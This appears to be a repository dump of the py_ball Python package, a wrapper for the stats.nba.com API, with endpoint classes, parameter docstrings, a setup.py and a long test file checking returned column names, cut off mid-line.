@param **game_segment** (*str*): GameSegment in the API. String \\\n indicating the section of a game for data to be returned. \\\n An empty string returns data across all game segments. Valid \\\n values include:\n\n - 'First Half', 'Overtime', 'Second Half', ''\n\n @param **month** (*str*): Month in the API. String of an integer \\\n corresponding to a month for data to be returned. A value \\\n of '0' returns data across all months.\n\n @param **season_type** (*str*): SeasonType in the API. String \\\n indicating the type of season for data to be returned. \\\n Valid values include:\n\n - 'Regular Season', 'Pre Season', 'Playoffs', 'All Star'\n\n @param **season_segment** (*str*): SeasonSegment in the API): String \\\n indicating the section of the season for data to be returned. \\\n An empty string returns data across all season segments. \\\n Valid values include:\n\n - 'Pre All-Star', 'Post All-Star', ''\n\n @param **vs_player_id** (*str*): VsPlayerID in the API. String of \\\n an integer corresponding to a player ID for a given player.\n\n @param **game_id** (*str*): GameID in the API. 10-digit string \\\n that represents a unique game. The format is two leading zeroes, \\\n followed by a season indicator number ('1' for preseason, \\\n '2' for regular season, '4' for the post-season), \\\n then the trailing digits of the season in which the game \\\n took place (e.g. '17' for the 2017-18 season). The following \\\n 5 digits increment from '00001' in order as the season progresses. \\\n For example, '0021600001' is the **game_id** of the first game \\\n of the 2016-17 NBA regular season.\n\n @param **group_quantity** (*str*): GroupQuantity in the API. String \\\n of an integer indicating the number of players to include a \\\n lineup for the **leaguedashlineups** endpoint. The minimum value \\\n is '2' and the maximum value is '5'.\n\n @param **po_round** (*str*): PORound in the API. 1, 2, 3, or 4 \\\n corresponding to the deired playoff round\n\n @param **shot_clock_range** (*str*): ShotClockRange in the API \\\n Accepts one of the following strings for windows of the shot \\\n clock:\n\n - \"24-22\"\n - \"22-18\": very early\n - \"18-15\": early\n - \"15-7\": average\n - \"7-4\": late\n - \"4-0\": very late\n\n Attributes:\n\n **api_resp** (*dict*): JSON object of the API response. The API \\\n response has three keys. The 'resource' key describes the \\\n type of response returned (the endpoint in this instance). \\\n The 'parameters' key describes the parameters provided in \\\n the API call. The 'resultSets' key contains the data returned \\\n in the API call.\n\n **data** (*dict*): A dictionary of response names. Each response \\\n name is a key to a list of dictionaries containing the \\\n corresponding data.\n \"\"\"\n\n def __init__(self, headers, endpoint='teamdashboardbyclutch',\n player_id='2544',\n league_id='00',\n per_mode='PerGame', plus_minus='N',\n rank='Y', pace_adjust='N',\n measure_type='Base', period='0',\n vs_conference='', last_n_games='0',\n team_id='1610612747', location='', outcome='',\n date_from='', date_to='', opp_team_id='0',\n season=get_season_year(\"00\"), vs_division='',\n game_segment='', month='0',\n season_type='Regular Season', season_segment='',\n vs_player_id='201939',\n game_id='0011800079', group_quantity='5',\n po_round='', shot_clock_range=''):\n\n # Controlling the parameters depending on the endpoint\n if endpoint not in ['teamgamelog', 'teaminfocommon',\n 'teamyearbyyearstats']:\n params = {'LeagueID': league_id,\n 'PerMode': per_mode,\n 'PlusMinus': plus_minus,\n 'Rank': rank,\n 'PaceAdjust': pace_adjust,\n 'MeasureType': measure_type,\n 'Period': period,\n 'VsConference': vs_conference,\n 'Location': location,\n 'Outcome': outcome,\n 'DateFrom': date_from,\n 'DateTo': date_to,\n 'TeamID': team_id,\n 'OpponentTeamID': opp_team_id,\n 'Season': season,\n 'VsDivision': vs_division,\n 'GameSegment': game_segment,\n 'Month': month,\n 'SeasonType': season_type,\n 'SeasonSegment': season_segment,\n 'LastNGames': last_n_games,\n 'PORound': po_round,\n 'ShotClockRange': shot_clock_range}\n elif endpoint in ['teamgamelog', 'team_game_logs','teaminfocommon']:\n params = {'LeagueID': league_id,\n 'TeamID': team_id,\n 'Season': season,\n 'SeasonType': season_type}\n elif endpoint in ['teamyearbyyearstats']:\n params = {'LeagueID': league_id,\n 'TeamID': team_id,\n 'PerMode': per_mode,\n 'SeasonType': season_type}\n elif endpoint in ['teamestimatedmetrics']:\n params = {'LeagueID': league_id,\n 'Season': season,\n 'SeasonType': season_type}\n\n if endpoint in ['teamdashlineups']:\n params['GroupQuantity'] = group_quantity\n params['GameID'] = game_id\n elif endpoint in ['teamdashptpass',\n 'teamdashptreb',\n 'teamdashptshots']:\n del params['PlusMinus'], params['PaceAdjust']\n del params['Rank'], params['MeasureType']\n if endpoint == 'teamdashptpass':\n del params['Period'], params['GameSegment']\n elif endpoint in ['teamvsplayer']:\n params['VsPlayerID'] = vs_player_id\n\n self.api_resp = api_call(endpoint=endpoint,\n params=params,\n headers=headers)\n\n # Storing the API response in a dictionary called data\n # The results can come in different formats, namely a\n # dictionary keyed by either resultSets or resultSet\n self.data = parse_api_call(self.api_resp)\n" }, { "alpha_fraction": 0.6013204455375671, "alphanum_fraction": 0.6117318272590637, "avg_line_length": 39.597938537597656, "blob_id": "9d79601d15ed0e75c016672baba1ab658147cf24", "content_id": "4b66fbf8b7257425fd3adc510abe0b10267087aa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3938, "license_type": "permissive", "max_line_length": 83, "num_lines": 97, "path": "/py_ball/scoreboard.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 10 20:45:03 2018\n\n@author: patrickmcfarlane\n\nscoreboard.py contains the ScoreBoard class that\nenables API calls for two score board endpoints\n\"\"\"\n\nfrom .utils import api_call, parse_api_call\nfrom datetime import datetime\n\nclass ScoreBoard:\n \"\"\" The ScoreBoard class contains all resources needed to use the\n score board API calls. `stats.nba.com <https://stats.nba.com>`_\n has the following score board API endpoints:\n\n - **scoreboard**: Live scores across the league, with series metadata \\\n and standings information.\n - **scoreboardv2**: Live scores across the league, with series metadata \\\n and standings information. Also, scoreboardv2 has ticket, win \\\n probability, and team leader information.\n\n The ScoreBoard class has the following required parameters:\n\n @param **headers** (*dict*): Dictionary of request header information\n required by the API. Specifically, the API requires you to declare\n the 'User-Agent' key of the request header dictionary. More information\n can be found `here <https://stackoverflow.com/questions/46781563/\n how-to-obtain-a-json-response-from-the-stats-nba-com-api>`_ and\n an example request header dictionary can be found in the __init__.py\n file in the tests folder of this module.\n\n @param **league_id** (*str*): LeagueID in the API. String of a \\\n two-digit number corresponding to the league. '00' is the NBA, \\\n '10' is the WNBA, '01' is the ABA, and '20' is the G-League.\n\n @param **game_date** (*str*): GameDate in the API. String of a \\\n date formatted as 'MM/DD/YYYY' representing the date for \\\n which data is desired.\n\n @param **day_offset** (*str*): DayOffset in the API. String of an \\\n integer representing days from or before the date given in \\\n **game_date** for which data is desired. Positive values \\\n indicate days into the future, zero represents the current \\\n day, and negative values indicate days into the past.\n\n Attributes:\n\n **api_resp** (*dict*): JSON object of the API response. The API \\\n response has three keys. The 'resource' key describes the \\\n type of response returned (the endpoint in this instance). \\\n The 'parameters' key describes the parameters provided in \\\n the API call. The 'resultSets' key contains the data returned \\\n in the API call.\n\n **data** (*dict*): A dictionary of response names. Each response \\\n name is a key to a list of dictionaries containing the \\\n corresponding data.\n \"\"\"\n\n cur_day = datetime.today().day\n cur_month = datetime.today().month\n cur_year = str(datetime.today().year)\n if cur_day < 10:\n cur_day = '0' + str(cur_day)\n else:\n cur_day = str(cur_day)\n\n if cur_month < 10:\n cur_month = '0' + str(cur_month)\n else:\n cur_month = str(cur_month)\n\n current_date = cur_month + '/' + \\\n cur_day + '/' + \\\n cur_year\n\n def __init__(self, headers, endpoint='scoreboard',\n league_id='00', game_date=current_date,\n day_offset='0'):\n \n # Controlling the parameters depending on the endpoint\n params = {'LeagueID': league_id,\n 'GameDate': game_date,\n 'DayOffset': day_offset}\n\n self.api_resp = api_call(endpoint=endpoint,\n params=params,\n headers=headers)\n\n # Storing the API response in a dictionary called data\n # The results can come in different formats, namely a\n # dictionary keyed by either resultSets or resultSet\n self.data = parse_api_call(self.api_resp)\n" }, { "alpha_fraction": 0.6171310544013977, "alphanum_fraction": 0.635706901550293, "avg_line_length": 24.5, "blob_id": "5f3c064a2a64cbeadb67c7e939e1eb3cf52b792f", "content_id": "f424b228e1123171c0c8f503d42b1bb32f265541", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 969, "license_type": "permissive", "max_line_length": 71, "num_lines": 38, "path": "/setup.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 21 15:41:34 2018\n\n@author: patrickmcfarlane\n\nsetup.py\n\nStandard setup.py script for the py_ball package.\n\"\"\"\n\nimport setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"py_ball\",\n version=\"1.41\",\n author=\"Patrick McFarlane & Avyay Varadarajan\",\n author_email=\"[email protected]\",\n description=\"Python API wrapper for stats.nba.com with a focus on \\\n NBA and WNBA applications\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/basketballrelativity/py_ball\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n package_data={\n 'models': ['py_ball/models/model.pickle'],\n },\n include_package_data=True,\n)\n" }, { "alpha_fraction": 0.2671394646167755, "alphanum_fraction": 0.2729293406009674, "avg_line_length": 42.3570442199707, "blob_id": "f0f498f74271f434822e8bacf86aa965002dd368", "content_id": "7cdbdc28cab23ce0129b920123c7eaec7ceec1c5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 94475, "license_type": "permissive", "max_line_length": 84, "num_lines": 2179, "path": "/py_ball/tests/test_player.py", "repo_name": "basketballrelativity/py_ball", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 22 15:51:00 2018\n\n@author: patrickmcfarlane\n\ntest_player.py\n\nThis function contains the tests for\nfunctions in the player.py file\n\"\"\"\n\nimport time\n\nfrom .__init__ import HEADERS\nfrom ..player import Player\n\ndef test_playercareer():\n \"\"\" tests the playercareerstats\t endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n player_id='203954')\n\n table_names = example_player.data.keys()\n\n assert 'SeasonTotalsRegularSeason' in table_names\n assert 'CareerTotalsRegularSeason' in table_names\n assert 'SeasonTotalsPostSeason' in table_names\n assert 'CareerTotalsPostSeason' in table_names\n assert 'SeasonTotalsAllStarSeason' in table_names\n assert 'CareerTotalsAllStarSeason' in table_names\n assert 'SeasonTotalsCollegeSeason' in table_names\n assert 'CareerTotalsCollegeSeason' in table_names\n assert 'SeasonRankingsRegularSeason' in table_names\n assert 'SeasonRankingsPostSeason' in table_names\n\n example_season_reg = example_player.data['SeasonTotalsRegularSeason'][0]\n example_career_reg = example_player.data['CareerTotalsRegularSeason'][0]\n example_season_post = example_player.data['SeasonTotalsPostSeason'][0]\n example_career_post = example_player.data['CareerTotalsPostSeason'][0]\n example_season_star = example_player.data['SeasonTotalsAllStarSeason'][0]\n example_career_star = example_player.data['CareerTotalsAllStarSeason'][0]\n example_season_col = example_player.data['SeasonTotalsCollegeSeason'][0]\n example_career_col = example_player.data['CareerTotalsCollegeSeason'][0]\n example_seasonrank_reg = example_player.data['SeasonRankingsRegularSeason'][0]\n example_seasonrank_post = example_player.data['SeasonRankingsPostSeason'][0]\n\n assert list(example_season_reg.keys()) == ['PLAYER_ID',\n 'SEASON_ID',\n 'LEAGUE_ID',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'PLAYER_AGE',\n 'GP',\n 'GS',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PF',\n 'PTS']\n\n assert list(example_career_reg.keys()) == ['PLAYER_ID',\n 'LEAGUE_ID',\n 'Team_ID',\n 'GP',\n 'GS',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PF',\n 'PTS']\n\n assert list(example_season_post.keys()) == ['PLAYER_ID',\n 'SEASON_ID',\n 'LEAGUE_ID',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'PLAYER_AGE',\n 'GP',\n 'GS',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PF',\n 'PTS']\n\n assert list(example_career_post.keys()) == ['PLAYER_ID',\n 'LEAGUE_ID',\n 'Team_ID',\n 'GP',\n 'GS',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PF',\n 'PTS']\n\n assert list(example_season_star.keys()) == ['PLAYER_ID',\n 'SEASON_ID',\n 'LEAGUE_ID',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'PLAYER_AGE',\n 'GP',\n 'GS',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PF',\n 'PTS']\n\n assert list(example_career_star.keys()) == ['PLAYER_ID',\n 'LEAGUE_ID',\n 'Team_ID',\n 'GP',\n 'GS',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PF',\n 'PTS']\n\n assert list(example_season_col.keys()) == ['PLAYER_ID',\n 'SEASON_ID',\n 'LEAGUE_ID',\n 'ORGANIZATION_ID',\n 'SCHOOL_NAME',\n 'PLAYER_AGE',\n 'GP',\n 'GS',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PF',\n 'PTS']\n\n assert list(example_career_col.keys()) == ['PLAYER_ID',\n 'LEAGUE_ID',\n 'ORGANIZATION_ID',\n 'GP',\n 'GS',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'STL',\n 'BLK',\n 'TOV',\n 'PF',\n 'PTS']\n\n assert list(example_seasonrank_reg.keys()) == ['PLAYER_ID',\n 'SEASON_ID',\n 'LEAGUE_ID',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'PLAYER_AGE',\n 'GP',\n 'GS',\n 'RANK_PG_MIN',\n 'RANK_PG_FGM',\n 'RANK_PG_FGA',\n 'RANK_FG_PCT',\n 'RANK_PG_FG3M',\n 'RANK_PG_FG3A',\n 'RANK_FG3_PCT',\n 'RANK_PG_FTM',\n 'RANK_PG_FTA',\n 'RANK_FT_PCT',\n 'RANK_PG_OREB',\n 'RANK_PG_DREB',\n 'RANK_PG_REB',\n 'RANK_PG_AST',\n 'RANK_PG_STL',\n 'RANK_PG_BLK',\n 'RANK_PG_TOV',\n 'RANK_PG_PTS',\n 'RANK_PG_EFF']\n\n assert list(example_seasonrank_post.keys()) == ['PLAYER_ID',\n 'SEASON_ID',\n 'LEAGUE_ID',\n 'TEAM_ID',\n 'TEAM_ABBREVIATION',\n 'PLAYER_AGE',\n 'GP',\n 'GS',\n 'RANK_PG_MIN',\n 'RANK_PG_FGM',\n 'RANK_PG_FGA',\n 'RANK_FG_PCT',\n 'RANK_PG_FG3M',\n 'RANK_PG_FG3A',\n 'RANK_FG3_PCT',\n 'RANK_PG_FTM',\n 'RANK_PG_FTA',\n 'RANK_FT_PCT',\n 'RANK_PG_OREB',\n 'RANK_PG_DREB',\n 'RANK_PG_REB',\n 'RANK_PG_AST',\n 'RANK_PG_STL',\n 'RANK_PG_BLK',\n 'RANK_PG_TOV',\n 'RANK_PG_PTS',\n 'RANK_PG_EFF']\n\ndef test_playercompare():\n \"\"\" tests the playercompare endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='playercompare')\n\n table_names = example_player.data.keys()\n\n assert 'OverallCompare' in table_names\n assert 'Individual' in table_names\n\n example_overall = example_player.data['OverallCompare'][0]\n example_individual = example_player.data['Individual'][0]\n\n assert list(example_overall.keys()) == ['GROUP_SET',\n 'DESCRIPTION',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'TOV',\n 'STL',\n 'BLK',\n 'BLKA',\n 'PF',\n 'PFD',\n 'PTS',\n 'PLUS_MINUS']\n\n assert list(example_individual.keys()) == ['GROUP_SET',\n 'DESCRIPTION',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'TOV',\n 'STL',\n 'BLK',\n 'BLKA',\n 'PF',\n 'PFD',\n 'PTS',\n 'PLUS_MINUS']\n\ndef test_player_clutch():\n \"\"\" tests the playerdashboardbyclutch endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='playerdashboardbyclutch')\n\n table_names = example_player.data.keys()\n\n assert 'OverallPlayerDashboard' in table_names\n assert 'Last5Min5PointPlayerDashboard' in table_names\n assert 'Last3Min5PointPlayerDashboard' in table_names\n assert 'Last1Min5PointPlayerDashboard' in table_names\n assert 'Last30Sec3PointPlayerDashboard' in table_names\n assert 'Last10Sec3PointPlayerDashboard' in table_names\n assert 'Last5MinPlusMinus5PointPlayerDashboard' in table_names\n assert 'Last3MinPlusMinus5PointPlayerDashboard' in table_names\n assert 'Last1MinPlusMinus5PointPlayerDashboard' in table_names\n assert 'Last30Sec3Point2PlayerDashboard' in table_names\n assert 'Last10Sec3Point2PlayerDashboard' in table_names\n\n example_overall = example_player.data['OverallPlayerDashboard'][0]\n example_last5_5 = example_player.data['Last5Min5PointPlayerDashboard'][0]\n example_last3_5 = example_player.data['Last3Min5PointPlayerDashboard'][0]\n example_last1_5 = example_player.data['Last1Min5PointPlayerDashboard'][0]\n example_last30_3 = example_player.data['Last30Sec3PointPlayerDashboard'][0]\n example_last10_3 = example_player.data['Last10Sec3PointPlayerDashboard'][0]\n example_last5 = example_player.data['Last5MinPlusMinus5PointPlayerDashboard'][0]\n example_last3 = example_player.data['Last3MinPlusMinus5PointPlayerDashboard'][0]\n example_last1 = example_player.data['Last1MinPlusMinus5PointPlayerDashboard'][0]\n example_last30_3_2 = example_player.data['Last30Sec3Point2PlayerDashboard'][0]\n example_last10_3_2 = example_player.data['Last10Sec3Point2PlayerDashboard'][0]\n\n columns = ['GROUP_SET',\n 'GROUP_VALUE',\n 'GP',\n 'W',\n 'L',\n 'W_PCT',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'TOV',\n 'STL',\n 'BLK',\n 'BLKA',\n 'PF',\n 'PFD',\n 'PTS',\n 'PLUS_MINUS',\n 'NBA_FANTASY_PTS',\n 'DD2',\n 'TD3',\n 'GP_RANK',\n 'W_RANK',\n 'L_RANK',\n 'W_PCT_RANK',\n 'MIN_RANK',\n 'FGM_RANK',\n 'FGA_RANK',\n 'FG_PCT_RANK',\n 'FG3M_RANK',\n 'FG3A_RANK',\n 'FG3_PCT_RANK',\n 'FTM_RANK',\n 'FTA_RANK',\n 'FT_PCT_RANK',\n 'OREB_RANK',\n 'DREB_RANK',\n 'REB_RANK',\n 'AST_RANK',\n 'TOV_RANK',\n 'STL_RANK',\n 'BLK_RANK',\n 'BLKA_RANK',\n 'PF_RANK',\n 'PFD_RANK',\n 'PTS_RANK',\n 'PLUS_MINUS_RANK',\n 'NBA_FANTASY_PTS_RANK',\n 'DD2_RANK',\n 'TD3_RANK',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_overall.keys()) == columns\n\n assert list(example_last5_5.keys()) == columns\n\n assert list(example_last3_5.keys()) == columns\n\n assert list(example_last1_5.keys()) == columns\n\n assert list(example_last30_3.keys()) == columns\n\n assert list(example_last10_3.keys()) == columns\n\n assert list(example_last5.keys()) == columns\n\n assert list(example_last3.keys()) == columns\n\n assert list(example_last1.keys()) == columns\n\n assert list(example_last30_3_2.keys()) == columns\n\n assert list(example_last10_3_2.keys()) == columns\n\n\ndef test_player_gamesplits():\n \"\"\" tests the playerdashboardbygamesplits endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='playerdashboardbygamesplits')\n\n table_names = example_player.data.keys()\n\n assert 'OverallPlayerDashboard' in table_names\n assert 'ByHalfPlayerDashboard' in table_names\n assert 'ByPeriodPlayerDashboard' in table_names\n assert 'ByScoreMarginPlayerDashboard' in table_names\n assert 'ByActualMarginPlayerDashboard' in table_names\n\n example_overall = example_player.data['OverallPlayerDashboard'][0]\n example_half = example_player.data['ByHalfPlayerDashboard'][0]\n example_period = example_player.data['ByPeriodPlayerDashboard'][0]\n example_score = example_player.data['ByScoreMarginPlayerDashboard'][0]\n example_margin = example_player.data['ByActualMarginPlayerDashboard'][0]\n\n columns = ['GROUP_SET',\n 'GROUP_VALUE',\n 'GP',\n 'W',\n 'L',\n 'W_PCT',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'TOV',\n 'STL',\n 'BLK',\n 'BLKA',\n 'PF',\n 'PFD',\n 'PTS',\n 'PLUS_MINUS',\n 'NBA_FANTASY_PTS',\n 'DD2',\n 'TD3',\n 'GP_RANK',\n 'W_RANK',\n 'L_RANK',\n 'W_PCT_RANK',\n 'MIN_RANK',\n 'FGM_RANK',\n 'FGA_RANK',\n 'FG_PCT_RANK',\n 'FG3M_RANK',\n 'FG3A_RANK',\n 'FG3_PCT_RANK',\n 'FTM_RANK',\n 'FTA_RANK',\n 'FT_PCT_RANK',\n 'OREB_RANK',\n 'DREB_RANK',\n 'REB_RANK',\n 'AST_RANK',\n 'TOV_RANK',\n 'STL_RANK',\n 'BLK_RANK',\n 'BLKA_RANK',\n 'PF_RANK',\n 'PFD_RANK',\n 'PTS_RANK',\n 'PLUS_MINUS_RANK',\n 'NBA_FANTASY_PTS_RANK',\n 'DD2_RANK',\n 'TD3_RANK',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_overall.keys()) == columns\n\n assert list(example_half.keys()) == columns\n\n assert list(example_period.keys()) == columns\n\n assert list(example_score.keys()) == columns\n\n assert list(example_margin.keys()) == columns\n\ndef test_player_generalsplits():\n \"\"\" tests the playerdashboardbygeneralsplits endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='playerdashboardbygeneralsplits')\n\n table_names = example_player.data.keys()\n\n assert 'OverallPlayerDashboard' in table_names\n assert 'LocationPlayerDashboard' in table_names\n assert 'WinsLossesPlayerDashboard' in table_names\n assert 'MonthPlayerDashboard' in table_names\n assert 'PrePostAllStarPlayerDashboard' in table_names\n assert 'StartingPosition' in table_names\n assert 'DaysRestPlayerDashboard' in table_names\n\n example_overall = example_player.data['OverallPlayerDashboard'][0]\n example_location = example_player.data['LocationPlayerDashboard'][0]\n example_wl = example_player.data['WinsLossesPlayerDashboard'][0]\n example_month = example_player.data['MonthPlayerDashboard'][0]\n example_star = example_player.data['PrePostAllStarPlayerDashboard'][0]\n example_starter = example_player.data['StartingPosition'][0]\n example_rest = example_player.data['DaysRestPlayerDashboard'][0]\n\n columns = ['GROUP_SET',\n 'GROUP_VALUE',\n 'GP',\n 'W',\n 'L',\n 'W_PCT',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'TOV',\n 'STL',\n 'BLK',\n 'BLKA',\n 'PF',\n 'PFD',\n 'PTS',\n 'PLUS_MINUS',\n 'NBA_FANTASY_PTS',\n 'DD2',\n 'TD3',\n 'GP_RANK',\n 'W_RANK',\n 'L_RANK',\n 'W_PCT_RANK',\n 'MIN_RANK',\n 'FGM_RANK',\n 'FGA_RANK',\n 'FG_PCT_RANK',\n 'FG3M_RANK',\n 'FG3A_RANK',\n 'FG3_PCT_RANK',\n 'FTM_RANK',\n 'FTA_RANK',\n 'FT_PCT_RANK',\n 'OREB_RANK',\n 'DREB_RANK',\n 'REB_RANK',\n 'AST_RANK',\n 'TOV_RANK',\n 'STL_RANK',\n 'BLK_RANK',\n 'BLKA_RANK',\n 'PF_RANK',\n 'PFD_RANK',\n 'PTS_RANK',\n 'PLUS_MINUS_RANK',\n 'NBA_FANTASY_PTS_RANK',\n 'DD2_RANK',\n 'TD3_RANK',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_overall.keys()) == columns\n\n assert list(example_location.keys()) == columns\n\n assert list(example_wl.keys()) == columns\n\n assert list(example_month.keys()) == columns\n\n assert list(example_star.keys()) == columns\n\n assert list(example_starter.keys()) == columns\n\n assert list(example_rest.keys()) == columns\n\ndef test_player_lastngames():\n \"\"\" tests the playerdashboardbylastngames endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='playerdashboardbylastngames')\n\n table_names = example_player.data.keys()\n\n assert 'OverallPlayerDashboard' in table_names\n assert 'Last5PlayerDashboard' in table_names\n assert 'Last10PlayerDashboard' in table_names\n assert 'Last15PlayerDashboard' in table_names\n assert 'Last20PlayerDashboard' in table_names\n assert 'GameNumberPlayerDashboard' in table_names\n\n example_overall = example_player.data['OverallPlayerDashboard'][0]\n example_last5 = example_player.data['Last5PlayerDashboard'][0]\n example_last10 = example_player.data['Last10PlayerDashboard'][0]\n example_last15 = example_player.data['Last15PlayerDashboard'][0]\n example_last20 = example_player.data['Last20PlayerDashboard'][0]\n example_game = example_player.data['GameNumberPlayerDashboard'][0]\n\n columns = ['GROUP_SET',\n 'GROUP_VALUE',\n 'GP',\n 'W',\n 'L',\n 'W_PCT',\n 'MIN',\n 'FGM',\n 'FGA',\n 'FG_PCT',\n 'FG3M',\n 'FG3A',\n 'FG3_PCT',\n 'FTM',\n 'FTA',\n 'FT_PCT',\n 'OREB',\n 'DREB',\n 'REB',\n 'AST',\n 'TOV',\n 'STL',\n 'BLK',\n 'BLKA',\n 'PF',\n 'PFD',\n 'PTS',\n 'PLUS_MINUS',\n 'NBA_FANTASY_PTS',\n 'DD2',\n 'TD3',\n 'GP_RANK',\n 'W_RANK',\n 'L_RANK',\n 'W_PCT_RANK',\n 'MIN_RANK',\n 'FGM_RANK',\n 'FGA_RANK',\n 'FG_PCT_RANK',\n 'FG3M_RANK',\n 'FG3A_RANK',\n 'FG3_PCT_RANK',\n 'FTM_RANK',\n 'FTA_RANK',\n 'FT_PCT_RANK',\n 'OREB_RANK',\n 'DREB_RANK',\n 'REB_RANK',\n 'AST_RANK',\n 'TOV_RANK',\n 'STL_RANK',\n 'BLK_RANK',\n 'BLKA_RANK',\n 'PF_RANK',\n 'PFD_RANK',\n 'PTS_RANK',\n 'PLUS_MINUS_RANK',\n 'NBA_FANTASY_PTS_RANK',\n 'DD2_RANK',\n 'TD3_RANK',\n 'CFID',\n 'CFPARAMS']\n\n assert list(example_overall.keys()) == columns\n\n assert list(example_last5.keys()) == columns\n\n assert list(example_last10.keys()) == columns\n\n assert list(example_last15.keys()) == columns\n\n assert list(example_last20.keys()) == columns\n\n assert list(example_game.keys()) == columns\n \ndef test_player_opponent():\n \"\"\" tests the playerdashboardbyopponent endpoint of the Player class\n \"\"\"\n\n time.sleep(1)\n example_player = Player(headers=HEADERS,\n endpoint='playerdashboardbyopponent')\n\n table_names = example_player.data.keys()\n\n assert 'OverallPlayerDashboard' in table_names\n assert 'ConferencePlayerDashboard' in table_names\n assert 'DivisionPlayerDashboard' in table_names\n assert 'OpponentPlayerDashboard' in table_names\n\n example_overall = example_player.data['OverallPlayerDashboard'][0]\n example_conference = example_player.data['ConferencePlayerDashboard'][0]\n example_division = example_player.data['DivisionPlayerDashboard'][0]\n example_opponent = 